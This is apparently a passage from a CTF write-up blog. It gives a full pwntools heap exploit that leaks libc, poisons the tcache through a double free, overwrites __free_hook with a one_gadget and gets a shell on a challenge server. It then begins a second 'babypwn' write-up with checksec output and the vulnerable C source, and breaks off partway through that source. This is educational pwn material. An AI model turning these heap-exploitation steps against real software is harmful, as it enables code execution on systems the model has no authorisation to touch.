<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">b</span><span class="s">'2'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="n">b</span><span class="s">'inside</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
<span class="n">f</span><span class="p">()</span>
<span class="k">return</span> <span class="n">leak</span>
<span class="k">def</span> <span class="nf">quit_do</span><span class="p">():</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">b</span><span class="s">'4'</span><span class="p">)</span>
<span class="n">yesno</span><span class="p">(</span><span class="s">"Get a libc leak ?"</span><span class="p">)</span>
<span class="c1"># Do one dummy malloc
</span>
<span class="n">malloc_do</span><span class="p">(</span><span class="mh">0x20</span><span class="p">,</span> <span class="n">b</span><span class="s">'A'</span><span class="p">)</span>
<span class="c1"># Do one big malloc and free it to grab it from the tcache[0xf1]
# This will be the chunk who will end up in the unsorted bin
</span>
<span class="n">malloc_do</span><span class="p">(</span><span class="mh">0xe8</span><span class="p">,</span> <span class="n">b</span><span class="s">'C'</span> <span class="o">*</span> <span class="mi">10</span><span class="p">)</span>
<span class="n">free_do</span><span class="p">()</span>
<span class="c1"># Do another dummy malloc to prevent consolidation with border chunk
</span><span class="n">malloc_do</span><span class="p">(</span><span class="mh">0x20</span><span class="p">,</span> <span class="n">b</span><span class="s">'A'</span><span class="p">)</span>
<span class="c1"># Grab the tcache saved chunk
</span><span class="n">malloc_do</span><span class="p">(</span><span class="mh">0xe8</span><span class="p">,</span> <span class="n">b</span><span class="s">'C'</span> <span class="o">*</span> <span class="mi">10</span><span class="p">)</span>
<span class="c1"># Fill the tcache by freeing multiples times the same chunk
</span>
<span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">7</span><span class="p">):</span>
<span class="n">free_do</span><span class="p">()</span>
<span class="c1"># Write a libc arena leak on it by inserting it into the unsorted bin
</span><span class="n">free_do</span><span class="p">()</span>
<span class="n">libc_leak</span> <span class="o">=</span> <span class="n">view_do</span><span class="p">()</span>
<span class="n">libc_leak</span> <span class="o">=</span> <span class="n">libc_leak</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="n">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)</span>
<span class="n">libc_leak</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">libc_leak</span><span class="p">)</span>
<span class="n">libc_base</span> <span class="o">=</span> <span class="n">libc_leak</span> <span class="o">-</span> <span class="mh">0x3ebca0</span>
<span class="n">free_hook</span> <span class="o">=</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x3ed8e8</span>
<span class="n">one_shot</span> <span class="o">=</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x4f3c2</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Libc leak: </span><span class="si">%</span><span class="s">s "</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">libc_leak</span><span class="p">)</span> <span class="p">)</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Libc base: </span><span class="si">%</span><span class="s">s "</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">libc_base</span><span class="p">)</span> <span class="p">)</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"free hook: </span><span class="si">%</span><span class="s">s "</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">free_hook</span><span class="p">)</span> <span class="p">)</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"one shot : </span><span class="si">%</span><span class="s">s "</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">one_shot</span><span class="p">)</span> <span class="p">)</span>
<span class="c1"># Now that we have a leak, we need to get a pointer to near &__free_hook
</span><span class="n">yesno</span><span class="p">(</span><span class="s">"Continue?"</span><span class="p">)</span>
</code></pre></div></div>
<p>The <code class="highlighter-rouge">heap layout</code> before the unsorted bin insertion (Having the <code class="highlighter-rouge">tcache[idx=0xf0]</code> filled) is the following:</p>
<p><img src="assets/2021_04_05_15_55_34.png" alt="" /></p>
<p>Just after the <code class="highlighter-rouge">unsorted bin insertion</code>.</p>
<p><img src="assets/2021_04_05_15_56_17.png" alt="" /></p>
<p>Now, by viewing the respective chunk, we can get the <code class="highlighter-rouge">victim->fd pointer</code>, that will point to the <code class="highlighter-rouge">unsorted bin entry</code>, which is in the <code class="highlighter-rouge">main arena</code></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>DEBUG] Received 0x2a bytes:
b<span class="s1">'1. add\n'</span>
b<span class="s1">'2. view\n'</span>
b<span class="s1">'3. delete\n'</span>
b<span class="s1">'4. quit\n'</span>
b<span class="s1">'choice :\n'</span>
<span class="o">[</span><span class="k">*</span><span class="o">]</span> Switching to interactive mode
<span class="nv">$ </span>2
<span class="o">[</span>DEBUG] Sent 0x2 bytes:
b<span class="s1">'2\n'</span>
<span class="o">[</span>DEBUG] Received 0x4a bytes:
00000000 50 72 69 6e 74 69 6e 67 20 74 68 65 20 64 61 74 │Prin│ting│ the│ dat│
00000010 61 20 69 6e 73 69 64 65 0a a0 7c 19 8d 98 7f 0a │a <span class="k">in</span>│side│··|·│····│
00000020 31 2e 20 61 64 64 0a 32 2e 20 76 69 65 77 0a 33 │1. a│dd·2│. vi│ew·3│
00000030 2e 20 64 65 6c 65 74 65 0a 34 2e 20 71 75 69 74 │. de│lete│·4. │quit│
00000040 0a 63 68 6f 69 63 65 20 3a 0a │·cho│ice │:·│
0000004a
Printing the data inside
<span class="se">\x</span>a0|<span class="se">\x</span>19<span class="se">\x</span>98<span class="se">\x</span>7f
1. add
2. view
3. delete
4. quit
choice :
<span class="nv">$ </span>
</code></pre></div></div>
<p>Now that we have a <code class="highlighter-rouge">libc leak</code>, we can do a <code class="highlighter-rouge">tcache</code> attack, in order to make malloc, return an arbitrary pointer, I’ll <code class="highlighter-rouge">overwrite</code> the <code class="highlighter-rouge">__free_hook</code> with the address of a <code class="highlighter-rouge">one_gadget</code>.</p>
<p>A nice article and study material to heap challenges is the <a href="https://guyinatuxedo.github.io/">nightmare guide</a>, kudos to @guyinatuxedo</p>
<p>The main idea behind a <code class="highlighter-rouge">tcache attack</code> is the following (basic idea):</p>
<ul>
<li>Get a chunk written into the <code class="highlighter-rouge">tcache[idx=size]</code> twice.</li>
<li>Allocate one time (so, we have one reference to the chunk that is written on the <code class="highlighter-rouge">tcache[idx=size]</code> too).</li>
<li>Overwrite the <code class="highlighter-rouge">victim->fd pointer</code> of the chunk with an arbitrary address. Note that the address is the same as the <code class="highlighter-rouge">tcache[idx=size]</code>.</li>
<li>On the <code class="highlighter-rouge">next allocation</code>, malloc will return the <code class="highlighter-rouge">HEAD</code> (victim) of the <code class="highlighter-rouge">tcache[idx=size]</code> and malloc (<strong>important part</strong>) will make <code class="highlighter-rouge">tcache[idx=size]->HEAD = victim->fd</code>.</li>
<li>Since we overwrite the <code class="highlighter-rouge">victim->fd</code> pointer, the <code class="highlighter-rouge">tcache[idx=size]</code> new head, will be our custom address !</li>
<li>On the next <code class="highlighter-rouge">allocation</code>, malloc will give us an arbitrary pointer.</li>
</ul>
<p>Our full <code class="highlighter-rouge">exploit</code>, will be the following, I’ll let it self commented in order to understand it.
For any doubt, just ping me :D !</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="n">context</span><span class="p">(</span><span class="n">terminal</span><span class="o">=</span><span class="p">[</span><span class="s">'tmux'</span><span class="p">,</span> <span class="s">'split-window'</span><span class="p">,</span> <span class="s">"-h"</span><span class="p">])</span>
<span class="n">context</span><span class="p">(</span><span class="n">os</span><span class="o">=</span><span class="s">"linux"</span><span class="p">,</span> <span class="n">arch</span><span class="o">=</span><span class="s">"amd64"</span><span class="p">)</span>
<span class="n">context</span><span class="o">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"debug"</span>
<span class="n">p_name</span> <span class="o">=</span> <span class="s">"./chall"</span> <span class="c1">## change for the challenge name
</span><span class="n">DEBUG</span> <span class="o">=</span> <span class="mi">1</span>
<span class="k">if</span> <span class="n">DEBUG</span><span class="p">:</span>
<span class="n">commands</span> <span class="o">=</span> <span class="s">'''b * 0x4008bf
b * 0x40093e
'''</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">gdb</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="n">args</span> <span class="o">=</span> <span class="p">[</span><span class="n">p_name</span><span class="p">],</span> <span class="n">gdbscript</span> <span class="o">=</span> <span class="n">commands</span><span class="p">,</span> <span class="n">exe</span> <span class="o">=</span> <span class="n">p_name</span><span class="p">,</span> <span class="n">env</span> <span class="o">=</span> <span class="p">{</span><span class="s">"LD_PRELOAD"</span><span class="p">:</span><span class="s">"./libc-2.27.so"</span><span class="p">})</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"34.121.211.139"</span><span class="p">,</span><span class="mi">4444</span><span class="p">)</span>
<span class="s">'''
1. add
2. view
3. delete
4. quit
choice :
'''</span>
<span class="k">def</span> <span class="nf">f</span><span class="p">():</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="n">b</span><span class="s">"choice :"</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">malloc_do</span><span class="p">(</span><span class="n">size</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">b</span><span class="s">'1'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="n">b</span><span class="s">'size'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">size</span><span class="p">))</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="n">b</span><span class="s">'data'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">send_raw</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="n">f</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">free_do</span><span class="p">():</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">b</span><span class="s">'3'</span><span class="p">)</span>
<span class="n">f</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">view_do</span><span class="p">():</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">b</span><span class="s">'2'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="n">b</span><span class="s">'inside</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
<span class="n">f</span><span class="p">()</span>
<span class="k">return</span> <span class="n">leak</span>
<span class="k">def</span> <span class="nf">quit_do</span><span class="p">():</span>
<span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">b</span><span class="s">'4'</span><span class="p">)</span>
<span class="n">yesno</span><span class="p">(</span><span class="s">"Get a libc leak ?"</span><span class="p">)</span>
<span class="c1"># Do one dummy malloc
</span>
<span class="n">malloc_do</span><span class="p">(</span><span class="mh">0x20</span><span class="p">,</span> <span class="n">b</span><span class="s">'A'</span><span class="p">)</span>
<span class="c1"># Do one big malloc to grab it from the tcache[0xf1]
# This will be the chunk who will end up in the unsorted bin
</span>
<span class="n">malloc_do</span><span class="p">(</span><span class="mh">0xe8</span><span class="p">,</span> <span class="n">b</span><span class="s">'C'</span> <span class="o">*</span> <span class="mi">10</span><span class="p">)</span>
<span class="n">free_do</span><span class="p">()</span>
<span class="c1"># Do another dummy malloc to prevent consolidation with border chunk
</span><span class="n">malloc_do</span><span class="p">(</span><span class="mh">0x20</span><span class="p">,</span> <span class="n">b</span><span class="s">'A'</span><span class="p">)</span>
<span class="c1"># Grab the tcache saved chunk
</span><span class="n">malloc_do</span><span class="p">(</span><span class="mh">0xe8</span><span class="p">,</span> <span class="n">b</span><span class="s">'C'</span> <span class="o">*</span> <span class="mi">10</span><span class="p">)</span>
<span class="c1"># Fill the tcache by freeing multiples times the same chunk
</span>
<span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">7</span><span class="p">):</span>
<span class="n">free_do</span><span class="p">()</span>
<span class="c1"># Write a libc arena leak on it by inserting it into the unsorted bin
</span><span class="n">free_do</span><span class="p">()</span>
<span class="n">libc_leak</span> <span class="o">=</span> <span class="n">view_do</span><span class="p">()</span>
<span class="n">libc_leak</span> <span class="o">=</span> <span class="n">libc_leak</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="n">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)</span>
<span class="n">libc_leak</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">libc_leak</span><span class="p">)</span>
<span class="n">libc_base</span> <span class="o">=</span> <span class="n">libc_leak</span> <span class="o">-</span> <span class="mh">0x3ebca0</span>
<span class="n">free_hook</span> <span class="o">=</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x3ed8e8</span>
<span class="n">one_shot</span> <span class="o">=</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="mh">0x4f3c2</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Libc leak: </span><span class="si">%</span><span class="s">s "</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">libc_leak</span><span class="p">)</span> <span class="p">)</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Libc base: </span><span class="si">%</span><span class="s">s "</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">libc_base</span><span class="p">)</span> <span class="p">)</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"free hook: </span><span class="si">%</span><span class="s">s "</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">free_hook</span><span class="p">)</span> <span class="p">)</span>
<span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"one shot : </span><span class="si">%</span><span class="s">s "</span> <span class="o">%</span> <span class="nb">hex</span><span class="p">(</span><span class="n">one_shot</span><span class="p">)</span> <span class="p">)</span>
<span class="c1"># Now that we have a leak, we need to get a pointer to near &__free_hook
# For that, we will use the UAF bug
</span><span class="n">yesno</span><span class="p">(</span><span class="s">"Continue?"</span><span class="p">)</span>
<span class="c1"># Alloc one and free it to place in tcache
</span>
<span class="c1"># Alloc and overwrite it
</span><span class="n">malloc_do</span><span class="p">(</span><span class="mh">0x18</span><span class="p">,</span> <span class="n">b</span><span class="s">'DEADBEEF'</span><span class="p">)</span>
<span class="c1"># Free it twice
</span><span class="n">free_do</span><span class="p">()</span>
<span class="n">free_do</span><span class="p">()</span>
<span class="c1"># Malloc and overwrite the victim->fd pointer
</span><span class="n">malloc_do</span><span class="p">(</span><span class="mh">0x18</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">free_hook</span><span class="p">))</span>
<span class="c1"># Do a dummy malloc to make our free_hook as the top of tcache[idx=size]
</span><span class="n">malloc_do</span><span class="p">(</span><span class="mh">0x18</span><span class="p">,</span> <span class="n">b</span><span class="s">'f'</span><span class="p">)</span>
<span class="c1"># Now, our payload is at the top of the tcache
# Overwrite the free_hook with the one_gadget
</span><span class="n">malloc_do</span><span class="p">(</span><span class="mh">0x18</span><span class="p">,</span><span class="n">p64</span><span class="p">(</span><span class="n">one_shot</span><span class="p">))</span>
<span class="c1"># Do a free to trigger __free_hook()
</span><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">b</span><span class="s">'3'</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p>Just like that, we pop a <code class="highlighter-rouge">shell</code>.</p>
<p><img src="assets/2021_04_05_15_51_10.png" alt="" /></p>
<p>Hope that this helps, if there’s any doubt, just ping me,</p>
<p>thanks again for the CTF.</p>
<p>cheers!</p>
<center>kjj</center>f4d3Hi everyone!SPR{babypwn}2021-03-22T01:33:00-03:002021-03-22T01:33:00-03:00https://f4d3.io/pwnj_spr_babypwn<p>Hi everyone !</p>
<p>This week write up will start fairly simple and easy with a funny chall of the <code class="highlighter-rouge">sprush CTF</code> which is a <code class="highlighter-rouge">pwn challenge</code> and they give us the <code class="highlighter-rouge">libc</code> and the respective <code class="highlighter-rouge">source code</code>, so not so much ASM involve.</p>
<h1 id="recon">recon</h1>
<p>A Basic <code class="highlighter-rouge">64 bit PIE - binary</code> without canary.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@ea494f7de03f:/ctf/work/babypwn/task# checksec <span class="nt">--file</span> app
<span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="s1">'/ctf/work/babypwn/task/app'</span>
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
</code></pre></div></div>
<p>First of all, lets analyze the respective <code class="highlighter-rouge">source code</code>:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <seccomp.h>
#include <sys/utsname.h>
</span>
<span class="kt">char</span><span class="o">*</span> <span class="n">ptr</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">};</span>
<span class="kt">int</span> <span class="n">seccomped</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span>
<span class="kt">void</span> <span class="nf">sandbox</span><span class="p">()</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">seccomped</span><span class="p">)</span> <span class="p">{</span>
<span class="n">scmp_filter_ctx</span> <span class="n">seccomp_ctx</span> <span class="o">=</span> <span class="n">seccomp_init</span><span class="p">(</span><span class="n">SCMP_ACT_KILL</span><span class="p">);</span>
<span class="n">seccomp_rule_add</span><span class="p">(</span><span class="n">seccomp_ctx</span><span class="p">,</span> <span class="n">SCMP_ACT_ALLOW</span><span class="p">,</span> <span class="n">SCMP_SYS</span><span class="p">(</span><span class="n">open</span><span class="p">),</span> <span class="mi">0</span><span class="p">);</span>
<span class="n">seccomp_rule_add</span><span class="p">(</span><span class="n">seccomp_ctx</span><span class="p">,</span> <span class="n">SCMP_ACT_ALLOW</span><span class="p">,</span> <span class="n">SCMP_SYS</span><span class="p">(</span><span class="n">openat</span><span class="p">),</span> <span class="mi">0</span><span class="p">);</span>
<span class="n">seccomp_rule_add</span><span class="p">(</span><span class="n">seccomp_ctx</span><span class="p">,</span> <span class="n">SCMP_ACT_ALLOW</span><span class="p">,</span> <span class="n">SCMP_SYS</span><span class="p">(</span><span class="n">fstat</span><span class="p">),</span> <span class="mi">0</span><span class="p">);</span>
<span class="n">seccomp_rule_add</span><span class="p">(</span><span class="n">seccomp_ctx</span><span class="p">,</span> <span class="n">SCMP_ACT_ALLOW</span><span class="p">,</span> <span class="n">SCMP_SYS</span><span class="p">(</span><span class="n">exit</span><span class="p">),</span> <span class="mi">0</span><span class="p">);</span>
<span class="n">seccomp_rule_add</span><span class="p">(</span><span class="n">seccomp_ctx</span><span class="p">,</span> <span class="n">SCMP_ACT_ALLOW</span><span class="p">,</span> <span class="n">SCMP_SYS</span><span class="p">(</span><span class="n">write</span><span class="p">),</span> <span class="mi">0</span><span class="p">);</span>
<span class="n">seccomp_rule_add</span><span class="p">(</span><span class="n">seccomp_ctx</span><span class="p">,</span> <span class="n">SCMP_ACT_ALLOW</span><span class="p">,</span> <span class="n">SCMP_SYS</span><span class="p">(</span><span class="n">read</span><span class="p">),</span> <span class="mi">0</span><span class="p">);</span>
<span class="n">seccomp_load</span><span class="p">(</span><span class="n">seccomp_ctx</span><span class="p">);</span>
<span class="n">seccomp_release</span><span class="p">(</span><span class="n">seccomp_ctx</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">seccomped</span><span class="o">=</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">setup</span><span class="p">()</span> <span class="p">{</span>
<span class="n">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span><span class="nb">NULL</span><span class="p">,</span><span class="n">_IONBF</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
<span class="n">setvbuf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span><span class="nb">NULL</span><span class="p">,</span><span class="n">_IONBF</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
<span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span><span class="nb">NULL</span><span class="p">,</span><span class="n">_IONBF</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">auth</span><span class="p">()</span> <span class="p">{</span>
<span class="kt">char</span> <span class="n">login</span><span class="p">[</span><span class="mi">16</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="kt">char</span> <span class="n">password</span><span class="p">[</span><span class="mi">16</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="kt">char</span> <span class="n">user_login</span><span class="p">[</span><span class="mi">16</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="kt">char</span> <span class="n">user_password</span><span class="p">[</span><span class="mi">16</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="kt">int</span> <span class="n">fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"auth.txt"</span><span class="p">,</span> <span class="n">O_RDONLY</span><span class="p">);</span>
<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">100</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="n">read</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mi">100</span><span class="p">);</span>
<span class="n">strncpy</span><span class="p">(</span><span class="n">login</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">strchr</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="sc">':'</span><span class="p">)</span><span class="o">-</span><span class="n">buf</span><span class="p">);</span>
<span class="n">strncpy</span><span class="p">(</span><span class="n">password</span><span class="p">,</span> <span class="n">strchr</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="sc">':'</span><span class="p">)</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span> <span class="n">strchr</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="sc">'\n'</span><span class="p">)</span><span class="o">-</span><span class="n">strchr</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="sc">':'</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Login:"</span><span class="p">);</span>
<span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">user_login</span><span class="p">,</span> <span class="mi">16</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Password:"</span><span class="p">);</span>
<span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">user_password</span><span class="p">,</span> <span class="mi">16</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="mi">5</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strchr</span><span class="p">(</span><span class="n">login</span><span class="p">,</span> <span class="n">user_login</span><span class="p">[</span><span class="n">i</span><span class="p">]))</span> <span class="p">{</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="mi">6</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strchr</span><span class="p">(</span><span class="n">password</span><span class="p">,</span> <span class="n">user_password</span><span class="p">[</span><span class="n">i</span><span class="p">]))</span> <span class="p">{</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">get_game_number</span><span class="p">()</span> <span class="p">{</span>
<span class="kt">char</span> <span class="n">num</span><span class="p">[</span><span class="mi">16</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
<span class="kt">int</span> <span class="n">number</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Input your game's number:"</span><span class="p">);</span>
<span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">num</span><span class="p">,</span> <span class="mi">16</span><span class="p">);</span>
<span class="n">number</span> <span class="o">=</span> <span class="n">atoi</span><span class="p">(</span><span class="n">num</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">number</span> <span class="o">>=</span> <span class="mi">1</span> <span class="o">&&</span> <span class="n">number</span> <span class="o"><=</span> <span class="mi">4</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="n">number</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Invalid number"</span><span class="p">);</span>
<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">create</span><span class="p">()</span> <span class="p">{</span>
<span class="kt">int</span> <span class="n">number</span> <span class="o">=</span> <span class="n">get_game_number</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">number</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">ptr</span><span class="p">[</span><span class="n">number</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span> <span class="p">{</span>
<span class="n">ptr</span><span class="p">[</span><span class="n">number</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">calloc</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Tell about it:"</span><span class="p">);</span>
<span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">ptr</span><span class="p">[</span><span class="n">number</span><span class="o">-</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x50</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"OK. Got your thoughts."</span><span class="p">);</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">print</span><span class="p">()</span> <span class="p">{</span>
<span class="kt">int</span> <span class="n">number</span> <span class="o">=</span> <span class="n">get_game_number</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">number</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ptr</span><span class="p">[</span><span class="n">number</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Content:"</span><span class="p">);</span>
<span class="n">puts</span><span class="p">(</span><span class="n">ptr</span><span class="p">[</span><span class="n">number</span><span class="o">-</span><span class="mi">1</span><span class="p">]);</span>
<span class="p">}</span>
<span class="p">}</span>
